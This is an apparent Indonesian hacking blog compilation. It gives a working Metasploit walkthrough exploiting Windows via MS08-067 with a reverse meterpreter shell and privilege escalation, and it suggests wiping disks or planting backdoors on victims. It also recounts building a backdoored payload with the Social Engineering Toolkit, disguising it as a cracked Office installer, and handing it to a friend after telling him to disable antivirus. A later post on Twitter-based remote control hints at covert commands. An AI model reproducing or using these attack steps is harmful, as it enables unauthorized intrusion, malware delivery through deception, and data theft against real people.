Code:
nmap --script smb-check-vulns.nse -p 445 114.56.xxx.xx
Berikut contoh result scan ( dokumentasi lama ) : dead
[Image: nmap.png]
hasil gambar di atas host 114.56.xxx.xx ga vulns ama MS08-067 karena kemungkinan besar virus conficker infect tuh network. Klo hostnya vulns ntar resultnya
MS08-067 : VULNERABLE

Oya, ente bisa tambahkan parameter --script-trace dan --script-updatedb untuk debug dan development mode. Juga daripada menggunakan --script alternatifnya bisa menggunakan -sC

Yuk share dimari yg udah coba script2 yg laen buat nambah ilmu... wawa

Sumber http://adf.ly/GoSEN

Exploit Windows With Metasploit - Backtrack

Exploit Windows With Metasploit - Backtrack

Ayo bagi yang pengen tau tentang dunia Hacking jangan pusing lagi karena penasaran ini itu tentang Metasploit - Back|Track. lansung aja liat Cuplikan dibawah ini.... Selamat Menikmati....

Kita akan coba exploit windows xp menggunakan Metasploit yang ada di Backtrack...
Males basa basi...langsung aja hehe...

Pertama kita scan IP dan Port yang terbuka pada jaringan menggunakan nmap (sudah ada d backtrack 5),
* buka terminal ketik perintah nmap -sn 192.168.0.1-255
-sn adalah perintah nmap untuk melakukan scanning IP yang aktif / tidak..
-192.168.0.1-255 adalah IP yang akan kita scan, dari 192.168.0.1 sampai 192.168.0.255
jadi untuk IP nya di sesuaikan dengan IP anda..

*lalu jika sudah menemukan IP yang aktif kita scan Port yang terbuka pada target..contoh saya mendapakan IP 192.168.0.4 lakukab perintah nmap -f 192.168.0.4
-f adalah fast scanning sehingga nmap akan melakukan scanning secepat mungkin...
lihat hasilnya























Jelas terlihat port 445 terbuka , langsung saja buka msfconsole atau Metasploit Framework versi console..
- ketik perintah msfconsole pada terminal/console..
tunggu biasanya agak lama...
- setelah terbuka ketik search netapi dan setelah itu kita gunakan yang exploit/windows/smb/ms08_067_netapi
- ketik perintah use exploit/windows/smb/ms08_067_netapi
- ketik show options untuk melihat opsi apa yang harus kita isi..























- RHOST belum kita setting ketik RHOST dengan ip target lakukan perintah set RHOST 192.168.0.4 ( jika ip target 192.168.0.4 )
- set LHOST 192.168.0.3 ( 192.168.0.3 adalah ip saya )
- set LPORT 4444 ( port pada Backtrack )
- set PAYLOAD windows/meterpreter/reverse_tcp
- jalankan exploit dengan perintah exploit
dan hasilnya























Kita sudah masuk pada Meterpreter :D
Sekarang kita akan mengendalikan Command Prompt ( CMD ) korban , tapi sebelumnya kita lihat dulu posisi kita...

pertama kita lihat siapa kita, dengan perintah getuid, dan outputnya NT AUTHORITY\SYSTEM , tapi bagaimana jika bukan NT AUTHORITY\SYSTEM alias si korban tidak menjalankan sebagai administrator pada komputernya? kita lakukan ketik perintah getsystem , lalu cek lagi dengan perintah getuid jika sudah NT AUTHORITY\SYSTEM lanjutkan...
kita ketik perintah pwd untuk cek keberadaan kita dan pada output saya adalah C:\WINDOWS\system32 langsung ketik perintah shell untuk eksekusi CMD..dan hasilnya






















tapi bagaimana jika ternyata error? tidak seperti di atas saat,error memasukan perintah shell...atau saat memasukan perintah shell tidak ke C:\Windows\system32 ???
mungkin procces dirrectory nya tidak tepat...
jika masalah seperti itu lakukan perintah migrate...kita akan berpindah..
ketik perintah ps pada meterpreter untuk melihat process ID yang ada...
setelah keluar kita  cari PID svchost.exe, jika sudah ketemu pindahlah dengan perintah migrate
contoh : migrate 1328
jika sukses, cek dengan perintah pwd , lalu jalankan perintah shell..
lihat gambar :





jika sudah berada di C:\Windows\system32> berarti masalah beres, kita lanjutkan....



Apa yang akan kita lakukan setelah kita berada pada saat sudah berada pada Metterpreter ataupun Command Prompt korban??
terserah anda..
mau Format Harddisk korban,shutdown,pasang backdoor,sebarin virus,copy data apalah terserah mau Remmote Desktop jg g ada yang larang :p

sekian , d tutorial selanjutnya mungkin akan saya bahas tentang salah satu cara diatas...

THANKS TO :  Red Dragon & Blusp10it

Rabu, 26 Desember 2012

Hack Windows Melalui Media Flashdisk

Hack Windows Melalui Media Flashdisk

Distro linux sangat banyak dan variatif, sehingga kita dapat menggunakannya sesuai dengan kebutuhan kita. Seperti saya, suka dengan dunia hacking, maka saya menggunakan distro Backtrack. Pada kesempatan kali ini saya akan membagi pengalaman saya pertama kali melakukan aksi hacking menggunakan distro ini. Tutorial yang saya buat bisa sangat berbahaya, jadi harap digunakan secara bijak dan hanya untuk pembelajaran saja.
Sistem Operasi yang digunakan: Backtrack 5 R1
Sistem Operasi Target: Windows 7 Professional
Saat itu, saya lagi berkumpul bersama teman-teman di kampus, kami berinternetan di lokasi hotspot kampus. Lalu salah satu teman saya meminta sebuah crack-an software microsoft office 2010. Kemudian saya berfikir untuk membuat payload yang di binder dengan crack-an ms.office tersebut. Karena saya belum banyak mengenal linux, maka saya tidak bisa membuatnya dan membuat dengan memberikan 1 aplikasi crack-an dan 1 payload.
Berikut percakapan kami
Teman: Lu punya crack-an ms.office nggak?
Saya: Ada nih, kirim via USB aja ya. Ada 2 file nih nggak tau yang mana yang bisa, coba aja dua-duanya.
Teman: iya
Saya: Matiin antivirusnya, soalnya ke detect virus nih crackannya.
Teman: Ok
Kira-kira seperti itu percakapan kami. Saya akan implementasikan menggunakan peralatan sendiri, 2 laptop dan 1 modem wireless. Berikut adalah tutorial pembuatan payloadnya.
Buka terminal (Ctrl+Alt+T), masuk ke direktori /pentest/exploits/set
cd /pentest/exploits/set
Lalu untuk menjalankan program Social Engineering Toolkit, ketikkan
./set
Pilih nomor 1 (Social Enginering Attacks) lalu pilih 4 (Create a Payload and Listener). Kita akan membuat sebuah payload dan listenernya.
Langkah selanjutnya adalah menentukan apa yang akan kita dapatkan jika korban meng-klik payload yang akan kita buat. Kita pilih nomor 2 (Windows Reverse_TCP Meterpreter).
Selanjutnya pilih nomor 16 Backdoored Executable (BEST)  dan masukkan port 443. Saya menggunakan port 443 karena port ini selalu terbuka.
Lalu saat muncul pertanyaan Start the listener now? Ketikkan yes dan listener berjalan menunggu korban meng-klik exploit yang baru kita buat.
Exploit yang barusan kita buat akan di simpan di dalam direktori /pentest/exploit/set. Buka terminal baru (Ctrl+Alt+T), lalu menuju direktori /pentest/exploits/setdan ketikkan ls, maka akan terlihat exploit yang telah kita buat, bernama msf.exe.
Agar korban tidak curiga, sebaiknya kita rename exloitnya. Saya rubah msf.exe menjadi crack1.exe dengan perintah sebagai berikut:
mv msf.exe crack1.exe
Selesai, sekarang copy crack1.exe kedalam sebuah flashdisk, dan berikan ke korban.
Jika koran sudah mengeksekusi exploit kita, kita lihat terminal listener kita. Maka akan terlihat seperti gambar berikut:
1 sesi meterpreter terbuka dengan IP Address Attacker (kita): 192.168.1.9 mengakses di port 443 dan IP Address korban 192.168.1.3 di akses melalui port 49179. Dan ketikkan:
sessions -i 1
Lalu ketikkan:
ps
ps adalah sebuah perintah untuk menampilkan proses-proses yang sedang berjalan.
Kita cari proses explorer.exe, dan ditemukan PID-nya 716. Sekarang ketikkan:
migrate 716
miggrate adalah sebuah command untuk pindah/menuju ke suatu proses.
Lalu ketikkan:
getsystem
getsystem adalah perintah untuk mendapatkan system yang sedang berjalan.
Selanjutnya ketikkan
getuid
getuid adalah sebuah perintah untuk menampilkan user pada sebuah host.
Dan untuk mendapatkan interface dari komputer korban, kita dapat mengetikkan:
shell
Bingo.. Kita telah berhasil masuk ke dalam komputer korban. Untuk perintah-perintah meterpreter, anda dapat mengetkikkan help dan akan tampil perintah-perintah apa saja yang dapat digunakan. Hal ini tentu sangat berbahaya, kita dapat menanam keylogger, mengirim virus, men-capture desktop, sampai mengubah struktur system. Jadi harap tutorial ini digunakan sebagai pembelajaran, bukan untuk kejahatan.
Penanggulangan:

  • Install antivirus dan update selalu
  • Jika muncul alert, maka baca dengan hati-hati.
  • Aktifkan selalu Firewall.
Berikut, saya attach video agar lebih jelas: Hack Windows 7 with SAT
Mungkin hanya itu saja yang dapat saya berikan dari pengalaman menyenangkan, semoga bermanfaat.
Blog pribadi: http://adhie70.ugcode.com

Jumat, 21 Desember 2012

Remote komputer lewat twitter.

Remote komputer lewat twitter.
Assalamualaikum. Wr. Wb
selamat siang smuanya warga devilzcode... hmm

sya nubie cman mau share nih cara ane memonitor dab ngotrol komputer ane klo lgi di penjim ama temen bwt internetan... ato lgi ngerjain tugas trus nyambung ke internet dari jarak jauh pastinya....
ngakak ngakak

pada initinya ni software buat ngeremot ama memonitor PC ato Laptop kita dari jarak jauh dengan menggunakan media Twitter dan klo ane sih lebih suka ngeremote komputernya dari handphone lewat Mobile Twitter
biar lebih gaya gitu... santai pinter

okey Kembali ke tengtop... kita langsung aja ke bahan2 dan dan cara pembuatannya...

1. Koneksi Internet (pastinya)
2. Akun Twitter (saran ane sih bikin akun lgi bwt ngeremotnya)
3. Program TweetMyPC 1 ato TweetMyPC 2
4. Hengpon (jika perlu)

Cara Pembuatanya

1. Buat Akun twitter baru... (gw yakin tmen2 smua udah bsa yg gni mah).... ngakak

2. Donglot dan Instoll program TweetMyPC-nya...
Required: * Windows Installer 3.1
* .NET Framework 3.5 SP1

3. masukin setinggan sesuai yg tdi di daftarin
[Image: 5vx3md.jpg]
4. trus kli Sign With Twitter dan langsung login...
[Image: 2iswksl.jpg]
5. Tungguin sampe nomer togel-nya keluar... ngakak
[Image: 2m296r6.jpg]
6.masukin kdalem Kolomnya trus Klik save setting
7. tinggal di pake deh programnya trus buka web browser... hmm
Kunmpulan Commandnya DISINI

Nahhh ini hasil skinsut ane... asik
Image has been scaled down 15% (1080x461). Click this bar to view original image (1270x541). Click image to open in new window.
[Image: 28aj34l.jpg]
ngetik commandnya dari hengpon ane... seneng
[Image: 1jnipi.jpg]

woookkeeyyy... selesai juga... smoga membantu buat temen2 smua... ane jga msh nubi yg belajar

selamat berkreasi dengan Command2-nya dan bisa juga bikin custom command yang bisa kita operasiin buat ngejalanin program2 yg sdikit nakal... hmm

*Tolong doakan kuliah saya lancar ya.... bangga